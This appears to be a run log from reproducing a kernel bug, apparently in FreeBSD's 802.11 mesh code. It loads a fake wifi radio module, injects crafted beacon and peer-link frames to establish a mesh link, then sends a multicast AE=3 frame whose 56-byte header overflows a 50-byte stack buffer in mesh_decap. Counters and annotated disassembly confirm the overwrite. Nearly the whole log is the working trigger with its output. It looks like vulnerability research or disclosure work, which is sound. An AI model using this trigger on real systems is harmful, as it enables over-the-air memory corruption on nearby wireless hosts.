# DF-3286 run.log — stock kernel X86_64_GENERIC #0 (INVARIANTS), guest from clean snapshot
# build:
#   cd /root/fwm && make SYSDIR=/usr/src/sys   -> fwm.ko built rc=0 (-Werror)
#   -rw-r--r-- 1 root wheel 17472 Sep 10 05:18 fwm.ko
# setup + trigger (vm.sh run_root):
kldload ./fwm.ko && ifconfig wlan0 create wlandev fwm0 wlanmode mesh && \
ifconfig wlan0 channel 1 && ifconfig wlan0 meshid pwn && ifconfig wlan0 up
# fwm: mesh-capable fake wifi radio attached (fwm0)
# wlan0: MAC address: 02:00:00:00:00:f2
# fwm: wlan0 RUN, beacon allocated
sysctl kern.fwm_step=4
# fwm: inject BEACON (61 bytes) from attacker
# fwm_tx[1]: fc0=d0 len=54      <- victim OPEN (llid = victim mlpid)
# fwm: inject PEER OPEN (48 bytes)
# fwm_tx[2]: fc0=d0 len=60      <- victim CONFIRM => link ESTABLISHED
# fwm: inject PEER CONFIRM (victim mlpid 0x0daa)
# fwm_tx[3]: fc0=d0 len=65      <- HWMP proactive PREQ (mesh_discover on ESTABLISHED)
LINK_UP
sysctl kern.fwm_step=10
# fwm: inject MCAST AE=3 data (68 bytes; decap hdr=56 > b[50])
sleep 1
sysctl kern.fwm_stats
kern.fwm_stats: is_mesh_badae=1 is_mesh_nolink=0 is_rx_dup=0 tx_tot=4
# NOTE: is_mesh_badae is bumped at ieee80211_mesh.c:1339 INSIDE mesh_decap,
# i.e. AFTER the 56-byte memcpy into b[50] has executed. Guest still up.
for i in 1..20; do sysctl kern.fwm_step=10 >/dev/null; done
sysctl kern.fwm_stats
kern.fwm_stats: is_mesh_badae=21 is_mesh_nolink=0 is_rx_dup=0 tx_tot=5
GUEST_STILL_UP
#
# Disassembly of the shipped kernel (objdump /boot/kernel/kernel):
#   mesh_input+0xb22 region (mesh_decap inlined):
ffffffff80779e62:	4c 8d 75 9e          	lea    -0x62(%rbp),%r14     # b[] base, 50 bytes -> .. rbp-0x31
ffffffff80779e66:	49 8b 75 10          	mov    0x10(%r13),%rsi      # m_data
ffffffff80779e6a:	8b 8d 70 ff ff ff    	mov    -0x90(%rbp),%ecx     # ecx = hdrlen
ffffffff80779e70:	4c 89 f7             	mov    %r14,%rdi            # dst = b
ffffffff80779e73:	48 8b 95 68 ff ff ff 	mov    -0x98(%rbp),%rdx
ffffffff80779e7a:	f3 a4                	rep movsb %ds:(%rsi),%es:(%rdi)
# For AE=11 DSTODS QoS: hdrlen = 32 + 6 + 18 = 0x38 = 56 -> writes rbp-0x30..rbp-0x2b
# (verified no spill/local is addressed in rbp-0x30..rbp-0x2b; saved regs start rbp-0x28)